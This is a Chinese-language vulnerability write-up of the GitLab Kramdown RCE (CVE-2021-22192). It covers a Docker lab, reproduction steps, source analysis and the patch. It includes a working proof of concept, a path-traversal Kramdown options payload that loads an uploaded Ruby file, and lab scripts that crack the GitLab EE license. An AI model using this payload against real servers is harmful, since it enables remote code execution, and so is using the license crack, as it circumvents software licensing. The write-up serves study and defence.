0x10 漏洞背景
GitLab 是美国 GitLab 公司的一款使用 Ruby on Rails 开发的、自托管的、Git(版本控制系统)项目仓库应用程序。该程序可用于查阅项目的文件内容、提交历史、Bug 列表等。
于 2021-03-14,William Bowling 在 hackerone 披露了 GitLab 的 Kramdown 组件存在 RCE 漏洞。
其实他在早前所披露的 CVE-2020-14001 漏洞与此漏洞如出一辙,只是当时没找到利用方法,当时的漏洞分析可参考以下链接:
- 原文:《GitHub Pages - Multiple RCEs via insecure Kramdown configuration - $25,000 Bounty》
- 译文:《通过 GitHub Pages 不安全的 Kramdown 配置实现多个 RCE》
- 译文:《Kramdown 配置不当引发 GitHub Pages 多个 RCE》
0x20 漏洞靶场
- 靶场源码: https://github.com/EXP-Docs/CVE-2021-22192
- 环境说明:
- Docker:
latest
- Gitlab-EE:
13.2.0
- Runner:
ubuntu-v13.10.0
- Docker:
- 靶场结构:
CVE-2021-22192
├── README.md ............... [此 README 说明]
├── imgs .................... [辅助 README 说明的图片]
├── gitlab .................. [Gitlab 容器的挂载目录]
│ ├── Dockerfile .......... [Gitlab 的 Docker 构建文件]
│ ├── config .............. [Gitlab 配置挂载目录]
│ ├── data ................ [Gitlab 数据挂载目录]
│ ├── logs ................ [Gitlab 日志挂载目录]
│ ├── keys ................ [Gitlab 破解 License 存储目录]
│ └── nginx ............... [Gitlab 内置 nginx 配置目录(备份配置,勿改)]
├── runner .................. [Gitlab 容器的挂载目录]
├── license ................. [破解 License 的容器构建目录]
│ ├── Dockerfile .......... [License 的 Docker 构建文件]
│ └── license.rb .......... [生成破解 License 的 Ruby 脚本]
├── test .................... [Kramdown 调试目录]
├── docker-compose.yml ...... [Docker 的构建配置]
├── keygen.ps1 .............. [Windows: 一键生成破解 License]
├── keygen.sh ............... [Linux: 一键生成破解 License]
├── run.ps1 ................. [Windows: 一键运行 Gitlab 靶场]
├── run.sh .................. [Linux: 一键运行 Gitlab 靶场]
├── register.ps1 ............ [Windows: 一键注册 Runner]
├── register.sh ............. [Linux: 一键注册 Runner]
├── stop.ps1 ................ [Windows: 一键停止 Gitlab 靶场]
└── stop.sh ................. [Linux: 一键停止 Gitlab 靶场]
0x30 靶场搭建
0x31 构建
- 宿主机预装 docker 和 docker-compose
- 下载本仓库: git clone https://github.com/EXP-Docs/CVE-2021-22192
- 生成破解密钥对:
./keygen.sh
或./keygen.ps1
- 构建并运行 Gitlab (确保 80 端口未占用):
./run.sh
或./run.ps1
- 约 5 分钟后可从浏览器登录 Gitlab:http://127.0.0.1 (首次登录需要重设管理员账号 root 的密码)
0x32 破解
前面生成破解密钥对的时候,已经把公钥写入 Gitlab 容器后台了,还需要把私钥通过前端上传到 Gitlab 完成破解:
- 密钥对生成到
./gitlab/keys/
目录,复制其下.gitlab-license
的内容(私钥) - 使用 root 用户打开 http://127.0.0.1/admin/license/new 页面
- 选择
Enter license key
并粘贴私钥,点击Upload license
按钮即可完成破解
0x33 设置 Runner
- 使用 root 用户打开 http://127.0.0.1/admin/runners 页面
- 找到 registration token 并复制
- 注册 Runner:
./register.sh $TOKEN
或./register.ps1 $TOKEN
至此所有 Repository 都可以使用此 Runner 执行 CI 脚本(Pipeline Jobs)
0x34 访问 Gitlab Pages
假设你的 Gitlab 用户名为 ${username}
,仓库名称为 ${repository_name}
,当仓库已经使用 jekyll 成功构建 SSG 后,只需要访问以下 URL 即可:
http://127.0.0.1:8000/${username}/${repository_name}/public/
0x40 靶场验证
- 使用任意用户点击顶部的
+ -> New snippet
Title
随意填即可,点击Description (optional)
的输入框,然后点击Attach a file
,上传一个名为payload.rb
文件,其内容如下:
puts "hello from ruby"
`echo exp was here > /tmp/exp`
此时在 Description (optional)
会显示该文件的链接,例如:[payload.rb](/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb)
,同时文件已经上传到 docker_gitlab 容器的 /var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb
。(至于 Create snippet
可点可不点,只需要记住这个文件路径的 Hash 即可)
注意:不要通过某一个仓库左侧边栏的
Snippet -> New snippet
,否则回显的文件路径会变成[payload.rb](/uploads/b5e4fed771f26ef75700ebf763f489ab/payload.rb)
,实际上上传到 docker_gitlab 容器的路径会变成/var/opt/gitlab/gitlab-rails/uploads/@hash/随机字符串/payload.rb
,由于中间有一段随机字符串,很难利用。
- 点击顶部的
+ New Project
,命名随意(如poc
,或不创建、用已存在的仓库亦可) - 点击左侧
Wiki
,然后点击Create your first page
Title
和Content
随意填即可, 点击Create page
- 此时 Gitlab 会生成当前
poc
仓库的 wiki 仓库,名为poc.wiki
(点击右上角的Clone repository
,可以找到 clone 命令:git clone http://127.0.0.1/root/poc.wiki.git
)。 - 在本地终端执行命令
git clone http://127.0.0.1/root/poc.wiki.git && cd poc.wiki
下载 wiki 仓库到本地 - 在 wiki 仓库的根目录添加一个名为
page1.rmd
的文件,其内容如下(注意文件路径中的 Hash 要替换为前面得到的 Hash):
{::options syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Redis, driver: ../../../../../../../../../../var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb\}" /}
~~~ ruby
def what?
42
end
~~~
- 执行命令提交该文件到 Gitlab:
git add -A . && git commit -m "page1.rmd" && git push
- 回到前面 Gitlab Wiki 的页面,刷新,可以在右侧索引栏看到在本地创建的
page1
页面,点击它 - 等待页面回显内容后,登陆 docker_gitlab 容器,可以找到文件
/tmp/exp
已经被创建
点击
page1.rmd
页面后,其实可以在gitlab/logs/gitlab-rails/exceptions_json.log
看到报错信息,但是这不影响命令已经被执行:
{
"severity": "ERROR",
"time": "2021-04-26T10:36:07.978Z",
"correlation_id": "A24bByUP9L5",
"tags.correlation_id": "A24bByUP9L5",
"tags.locale": "en",
"user.id": 1,
"user.email": "admin@example.com",
"user.username": "root",
"extra.project_id": 1,
"extra.file_name": "page1.rmd",
"exception.class": "NameError",
"exception.message": "wrong constant name ../../../../../../../../../../var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb",
"exception.backtrace": [
"lib/gitlab/other_markup.rb:11:in `render'",
"app/helpers/markup_helper.rb:274:in `other_markup_unsafe'",
"app/helpers/markup_helper.rb:153:in `markup_unsafe'",
"app/helpers/markup_helper.rb:138:in `render_wiki_content'",
"app/views/shared/wikis/show.html.haml:25",
"app/controllers/application_controller.rb:134:in `render'",
"app/controllers/concerns/wiki_actions.rb:68:in `show'",
"ee/lib/gitlab/ip_address_state.rb:10:in `with'",
"ee/app/controllers/ee/application_controller.rb:44:in `set_current_ip_address'",
"app/controllers/application_controller.rb:491:in `set_current_admin'",
"lib/gitlab/session.rb:11:in `with_session'",
"app/controllers/application_controller.rb:482:in `set_session_storage'",
"app/controllers/application_controller.rb:476:in `set_locale'",
"lib/gitlab/error_tracking.rb:50:in `with_context'",
"app/controllers/application_controller.rb:541:in `sentry_context'",
"app/controllers/application_controller.rb:469:in `block in set_current_context'",
"lib/gitlab/application_context.rb:52:in `block in use'",
"lib/gitlab/application_context.rb:52:in `use'",
"lib/gitlab/application_context.rb:20:in `with_context'",
"app/controllers/application_controller.rb:462:in `set_current_context'",
"ee/lib/gitlab/jira/middleware.rb:19:in `call'"
]
}
0x50 漏洞分析
0x51 表象
漏洞披露后,Gitlab 在 kramdown 修复之前,马上就发布了临时修复补丁:Patch Kramdown syntax highlighter gem。
从内容上看,修复的内容并不多,主要针对 kramdown Gem 包的 Kramdown::Converter::SyntaxHighlighter
进行了临时修复,并声明在 Kramdown 修复后应去掉这个补丁。
很快地,Kramdown 也修复了这个问题:Restrict Rouge formatters to Rouge::Formatters namespace,升级版本为 2.3.1(版本说明)。
不难发现,只有一行代码被修复了:
# Before :
::Rouge::Formatters.const_get(formatter)
# After :
::Rouge::Formatters.const_get(formatter, false)
const_get
追加了第 2 个参数 false
,其作用为限制只能在 Rouge::Formatters
下查找常量(不继承父类定义常量)。
const_get
是 ruby 类继承自 Object 的方法,其用法可参考这篇文章。
0x52 推测
在官方修改的代码中,formatter
是唯一变量,由于是 RCE 漏洞,这应该是用户可控的输入点。
不妨从源码 kramdown-2.3.1/lib/kramdown/converter/syntax_highlighter/rouge.rb
跟踪分析一下:
def self.formatter_class(opts = {})
case formatter = opts[:formatter]
when Class
formatter
when /\A[[:upper:]][[:alnum:]_]*\z/
::Rouge::Formatters.const_get(formatter, false)
else
# Available in Rouge 2.0 or later
::Rouge::Formatters::HTMLLegacy
end
rescue NameError
# Fallback to Rouge 1.x
::Rouge::Formatters::HTML
end
从源码可知,假如 formatter
真是用户可控的,那么就应该可能存在可以绕过正则 \A[[:upper:]][[:alnum:]_]*\z
的方法。
现在问题是 formatter
究竟是什么。
向上跟踪发现 formatter
源于 formatter_class
方法的入参 opt
,而 formatter_class
在上下文有唯一的调用位置:
def self.call(converter, text, lang, type, call_opts)
opts = options(converter, type)
call_opts[:default_lang] = opts[:default_lang]
return nil unless lang || opts[:default_lang] || opts[:guess_lang]
lexer = ::Rouge::Lexer.find_fancy(lang || opts[:default_lang], text)
return nil if opts[:disable] || !lexer || (lexer.tag == "plaintext" && !opts[:guess_lang])
opts[:css_class] ||= 'highlight' # For backward compatibility when using Rouge 2.0
formatter = formatter_class(opts).new(opts)
formatter.format(lexer.lex(text))
end
很明显 formatter_class(opts).new(opts)
这里是把 opts 实例化了。联想到官方的漏洞修复公告 Remote code execution via unsafe user-controlled markdown rendering options, 此处实锤了就是用户控制点,通过构造特定的参数,就可以实现 RCE。
0X53 注入点
现在的问题是,应该在哪里注入 opts
呢?
继续分析源码 kramdown-2.3.1/lib/kramdown/converter/syntax_highlighter/rouge.rb
的上下文,发现有对 opts
做了预处理:
def self.prepare_options(converter)
return if converter.data.key?(:syntax_highlighter_rouge)
cache = converter.data[:syntax_highlighter_rouge] = {}
opts = converter.options[:syntax_highlighter_opts].dup
span_opts = opts.delete(:span)&.dup || {}
block_opts = opts.delete(:block)&.dup || {}
normalize_keys(span_opts)
normalize_keys(block_opts)
cache[:span] = opts.merge(span_opts)
cache[:span][:wrap] = false
cache[:block] = opts.merge(block_opts)
end
很明显 opts
是通过 syntax_highlighter_opts
从外部传入的。
联想到前面 Gitlab 的修复补丁 Patch Kramdown syntax highlighter gem 中,官方很贴心地给了 rspec 的测试用例,从而得到了 syntax_highlighter_opts
的构造方法:
context 'with invalid formatter' do
let(:options) { %({::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: CSV, line_numbers: true\\}" /}) }
it 'falls back to standard HTML and disallows CSV' do
expect(CSV).not_to receive(:new)
expect(::Rouge::Formatters::HTML).to receive(:new).and_call_original
expect(subject).to be_present
end
end
进一步查找 kramdown 关于 Options 的使用说明,其中有这样的描述:
其意思就是,可以在 markdown 文档中,通过构造 {::options ...... /}
这种特殊语法,可以设置 options(例如 syntax_highlighter_opts
) 。而 kramdown 在转换 markdown 文档的时候,就会把 options 传入代码,通过巧妙构造就可以实现 RCE。
同时可以在 Gitlab 关于 markdown-guide 的说明中,找到 {::options ...... /}
的使用方法:
简单来说,就是只能在 markdown 文档的首行使用 {::options ...... /}
。
似乎找到了注入点了,但是要怎么利用呢?
0x60 漏洞利用
这里还是要回到漏洞修复前的源码 kramdown-2.1.3/lib/kramdown/converter/syntax_highlighter/rouge.rb
跟踪分析一下(此处只列了关键的几处代码):
def self.call(converter, text, lang, type, call_opts)
# 从 markdown 中提取 syntax_highlighter_opts,存储到 opts
opts = options(converter, type)
......
# 从 opts.formatter 提取类名,并将其实例化
formatter = formatter_class(opts).new(opts)
# 格式化某个内容
formatter.format(lexer.lex(text))
end
def self.options(converter, type)
prepare_options(converter)
......
end
def self.prepare_options(converter)
......
opts = converter.options[:syntax_highlighter_opts].dup
......
end
def self.formatter_class(opts = {})
case formatter = opts[:formatter]
when Class
formatter
when /\A[[:upper:]][[:alnum:]_]*\z/
::Rouge::Formatters.const_get(formatter)
else
::Rouge::Formatters::HTMLLegacy
end
rescue NameError
::Rouge::Formatters::HTML
end
结合前面 rspec 测试用例提供的样本 {::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: CSV, line_numbers: true\\}" /}
,不难想象:
opts
应该就是形如{formatter: CSV, line_numbers: true\\}
的值- 那么
formatter
就是形如CSV
的值
而我们要成功利用漏洞,就需要找到一个 class ,使其满足以下条件:
- 找到一个常量值、它同时也是一个类名,且其命名满足正则
\A[[:upper:]][[:alnum:]_]*\z
(意思就是首字母大写、后面跟任意个字母或下划线) - 该类在实例化过程中(
new(opts)
)、或者格式化过程中(format(lexer.lex(text))
),可以执行用户某个输入内容
那么怎么找到这个 class 呢?
其实早在 William Bowling 披露 CVE-2020-14001 的时候(详见[《GitHub Pages - Multiple RCEs via insecure Kramdown configuration - $25,000 Bounty》]),他当时就提供了一个这样的脚本以获取 ruby 的类列表,从中再找到可以利用的 class:
require "bundler"
Bundler.require
methods = []
ObjectSpace.each_object(Class) {|ob| methods << ( {ob: ob }) if ob.name =~ /\A[[:upper:]][[:alnum:]_]*\z/ }
methods.each do |m|
begin
puts "trying #{m[:ob]}"
m[:ob].new({a:1, b:2})
puts "worked\n\n"
rescue ArgumentError
puts "nope\n\n"
rescue NoMethodError
puts "nope\n\n"
rescue => e
p e
puts "maybe\n\n"
end
end
这也是为什么 William Bowling 时隔一年才披露 CVE-2021-22192 的原因,他肯定试了很多个 0day …… 至于过程的辛酸这里就不过多幻想了,下面的就是结果论了。
从实际 payload 来看,William Bowling 应该是发现了 Redis
这个类的 driver
是可以利用的:
{::options syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Redis, driver: ../../../../../../../../../../var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb\}" /}
~~~ ruby
def what?
42
end
~~~
我们不妨看一下 Redis 的 Gem 源码 redis-4.1.3/lib/redis/client.rb,该类在实例化 initialize
的时候会调用 _parse_options
方法解析用户输入的 options,而该方法又会调用 _parse_driver
解析 driver
参数:
def initialize(options = {})
@options = _parse_options(options)
......
end
def _parse_options(options)
......
options[:driver] = _parse_driver(options[:driver]) || Connection.drivers.last
......
end
def _parse_driver(driver)
driver = driver.to_s if driver.is_a?(Symbol)
if driver.kind_of?(String)
begin
require_relative "connection/#{driver}"
rescue LoadError, NameError => e
begin
require "connection/#{driver}"
rescue LoadError, NameError => e
raise RuntimeError, "Cannot load driver #{driver.inspect}: #{e.message}"
end
end
driver = Connection.const_get(driver.capitalize)
end
driver
end
由于 driver
参数值没有做任何校验,可以传入任意值,故而传入特定的文件路径,则可以加载任意文件。
从靶场测试结果来看,driver
指向了我们上传的一个 payload.rb
脚本,虽然 Redis 在业务逻辑上报错了,但是命令已经执行了。
0x70 漏洞修复
官方的补丁就是修复方法:
# Before :
::Rouge::Formatters.const_get(formatter)
# After :
::Rouge::Formatters.const_get(formatter, false)
通过显示指定 const_get
的第二个参数为 false
,限制常量的查找范围必须在 Rouge::Formatters
的命名空间下,从而避免其他命名空间的类在此处被恶意实例化(而触发非期望行为)。